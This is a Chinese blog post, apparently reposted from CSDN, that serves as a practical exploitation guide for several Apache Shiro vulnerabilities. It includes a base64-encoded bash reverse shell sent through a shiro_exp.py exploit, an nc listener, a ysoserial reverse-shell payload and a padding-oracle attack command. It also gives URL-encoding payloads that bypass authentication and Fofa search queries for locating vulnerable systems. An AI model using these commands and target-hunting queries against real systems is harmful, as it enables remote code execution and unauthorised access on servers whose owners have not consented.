Apache Shiro系列漏洞利用以及实战总结

前言:

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。内置了可以连接大量安全数据源(又名目录)的Realm,如LDAP、关系数据库(JDBC)、类似INI的文本配置资源以及属性文件等。

目录

RememberMe RCE-550(CVE-2016-4437)

远程安全限制绕过漏洞(CVE-2016-6802)

Padding Oracle Attack?RCE-721(CVE-2019-12422)

Shiro搭配spring时身份验证绕过漏洞分析(CVE-2020-1957)

Apache Shiro 628权限绕过漏洞 (CVE-2020-2957)

Apache Shiro权限绕过漏洞分析(CVE-2020-11989)

Apache Shiro 权限绕过漏洞(CVE-2020-13933)

总结

1、Shiro指纹识别

2、资产收集


RememberMe RCE**-550(CVE-2016-4437)******

漏洞详情:

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:

获取rememberMe cookie****-********>base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie****中存在 rememberMe=deleteMe字段,那么就可能存在此漏洞。

漏洞影响:

Apache Shiro <= 1.2.4

漏洞利用:

  1. 访问存在漏洞的网站,勾选Remenberme,输入账号:admin密码:123456
  2. 提交表单的同时进行抓包,返回包中存在Set-Cookie********: rememberMe=deleteMe

3.将反弹shell命令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码转换

4.nc监听4444端口

nc-lvpp 4444

5.使用shiro_exp.py执行bash反弹shell命令

python2 .exp.py -t 3 -u http://xx.xx.xx.xx:8080/login -p ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4xNTUuODcuODkvMzI0NjAgMD4mMQ==}|{base64,-d}|{bash,-i}’

反弹shell成功

远程安全限制绕过漏洞(CVE-2016-6802)

漏洞详情

shiro在路径控制的时候,未能对传入的url编码进行decode解码,导致攻击者可以绕过过滤器,访问被过滤的路径。

漏洞影响

shrio <1.3.2

漏洞利用

访问http://127.0.0.1/admin的时候,页面返回403。因此可以确定admin路径是属于被过滤路径。此时使用burp截断,然后在访问路径的最后添加%2f,既可绕过shiro检测。因为对于浏览器来说%2f会被自动编码为/,但是burp截断之后进入shiro,shiro未对其解码,所以可以绕过。

Padding Oracle AttackRCE-721******(CVE-2019-12422********)******

漏洞简介

Apache Shiro存在高危代码执行漏洞。该漏洞是由于Apache Shirocookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

环境搭建

gitclone https://github.com/3ndz/Shiro-721.git

cdShiro-721/Docker

docker build -t shiro-721 .

docker run -p 8080:8080 -d shiro-721

影响版本

Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

漏洞分析

总体来说就是shrio中的remenbermecookie字段是采用AES-128-CBC加密的,因此容易受到oracle填充攻击,攻击者可以采用有效的cookie字段来作为paddingoracleattack的前缀,然后精心构造反序列化字段进行命令执行。

漏洞利用

  1. 我们利用的前提是,需要能够获取正常的remenberMe的cookie,所以我们需要进入后台,获取正常的cookie:

先用********ysoserial生成反序列化payload

github项目地址:https://github.com/frohoff/ysoserial

2、执行ysoserial.jar

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1’ > linux_shell.class

使用PaddingOracleAttack-1.0-SNAPSHOT.jar进行漏洞利用

github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

3、执行PaddingOracleAttack.jar

java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://xx.xx.xx.xx:8080/ CVLt9Uxe8Y+wYtBAg8OqeYytEKI04csCy916LpA8ndWPk0GHmv7iFB8nZIsnZmS00MLpOgHQD3+KRUlVQA09b7HFgios2tfD3ja6dKwoE4n4Y6h6tX2oZMwedIpmIBp59a6V8qqSk9chl1epO9up3ZJKrvQLs6CgRoA10Q4ZK0Jy00DQmFWWAvNI22tf4P68R/i2jOSSZ3+0KXme04jIWbYjcY7jVtD8RqehLDjHVxARWp8LVROQhHov2Gk2pEbXQs5MTF7sw1Nf6gcP6B1JizNWNvy23D0QVlGCqwu3qvwDaC2WUZm87DUr3fsOY6yOaDBk/Gpx1G6RJHN8LHJQ8zJVUfPJTX156B2ABq00xtCrXxjOWQpDVCrqjRoNHZ3qYVDITv7k/1Tmmwgayjv8F5nWLP+feY+oKIjt+eW5JVs0Ky2hbjDHin8KefdcuA+wK34NFyIbZi0abIjhKmqval5h/IjE6xMiGcA3Dsi/cuJGhHp0YbcWYuyxAfVCa15V 16 shell.class

4、得到破解结果后burpsuite重放替换cookie后的数据包,成功反弹shell

使用shiro****_exp.py********进行漏洞利用****

5、执行shiro_exp.py

python2 shiro_exp.py http://xx.xx.xx.xx:8080/samples-web-1.4.1/home.jspCVLt9Uxe8Y+wYtBAg8OqeYytEKI04csCy916LpA8ndWPk0GHmv7iFB8nZIsnZmS00MLpOgHQD3+KRUlVQA09b7HFgios2tfD3ja6dKwoE4n4Y6h6tX2oZMwedIpmIBp59a6V8qqSk9chl1epO9up3ZJKrvQLs6CgRoA10Q4ZK0Jy00DQmFWWAvNI22tf4P68R/i2jOSSZ3+0KXme04jIWbYjcY7jVtD8RqehLDjHVxARWp8LVROQhHov2Gk2pEbXQs5MTF7sw1Nf6gcP6B1JizNWNvy23D0QVlGCqwu3qvwDaC2WUZm87DUr3fsOY6yOaDBk/Gpx1G6RJHN8LHJQ8zJVUfPJTX156B2ABq00xtCrXxjOWQpDVCrqjRoNHZ3qYVDITv7k/1Tmmwgayjv8F5nWLP+feY+oKIjt+eW5JVs0Ky2hbjDHin8KefdcuA+wK34NFyIbZi0abIjhKmqval5h/IjE6xMiGcA3Dsi/cuJGhHp0YbcWYuyxAfVCa15V shell.class

6、经过漫长的时间后得到cookie,然后替代刚抓包的cookie,重放即可

Shiro搭配spring时身份验证绕过漏洞分析(CVE-2020-1957)

漏洞详情

在Shiro中的URL路径表达式pathPattern可以正确匹配/resource/menus,但不能正确匹配/resource/menus/,导致过滤链无法正确匹配,从而绕Shiro的防护机制。当Shiro 的Ant格式的pathPattern 中的的*通配符是不支持匹配路径的,所以/hello/*不能成功匹配/hello/1/,也就不会触发authc拦截器进行权限拦截。从而成功绕过了Shiro拦截器,而后再进入到spring拦截器中,/hello/1/与/hello/1能获取到相同的资源。

影响版本

Shiro <1.5.2

漏洞分析

https://www.freebuf.com/vuls/231909.html

Apache Shiro 628权限绕过漏洞 (CVE-2020-2957)

漏洞详情

CVE-2020-195身份认证绕过漏洞,可以用/hello/1/来绕过登录验证,此次漏洞在之前CVE-2020-1957补丁的基础上进行绕过,访问/hello/1/会进入登录认证,但是通过构造payload:/fdsf;/…/hello/1可以绕过登录认证。

影响版本

Shiro<=1.5.1

漏洞分析

https://www.rednn.com/safe/202003/30176.html

Apache Shiro权限绕过漏洞分析(CVE-2020-11989)

漏洞详情

如果直接访问 /test/admin/page,会返回302跳转要求登录,

访问 /;/test/admin/page, 就能直接绕过Shiro权限验证,访问到/admin路由中的信息

漏洞版本

Shiro< 1.5.3

Sping框架只使用shiro鉴权

漏洞分析

https://xz.aliyun.com/t/7964

Apache Shiro 权限绕过漏洞**(CVE-2020-13933)******

漏洞详情

Apache Shiro的CVE-2020-11989修补补丁依旧存在缺陷,由于shiro和spring在处理url中仍然存在差别,通过构造特殊的HTTP请求,可以再次绕过授权,访问未授权的信息。访问/read/xx,被302重定向到了/login,而访问/read/%3bxxx,能够绕过认证。

漏洞版本

Shiro<1.6.0

漏洞分析

https://xz.aliyun.com/t/8230/

总结

目前来说Shiro危害比较大的就两个RCE漏洞,721漏洞的爆破速度太慢了,且成功率比较低。550漏洞相对来说比较好利用,但是漏洞数量已经很少了,可能某些内网比较老的机子还存在着。

1、Shiro指纹识别

已知指纹

若依CMS、TIMO后台管理系统

Bp抓包:

在登陆界面勾线记住密码,进行抓包,找remeberMe字段。

2、资产收集

Fofa语法

“shiro” &&“管理系统”

header=“rememberme=deleteMe”、header=“shiroCookie”

猜你喜欢

转载自blog.csdn.net/m0_67401228/article/details/126326098
今日推荐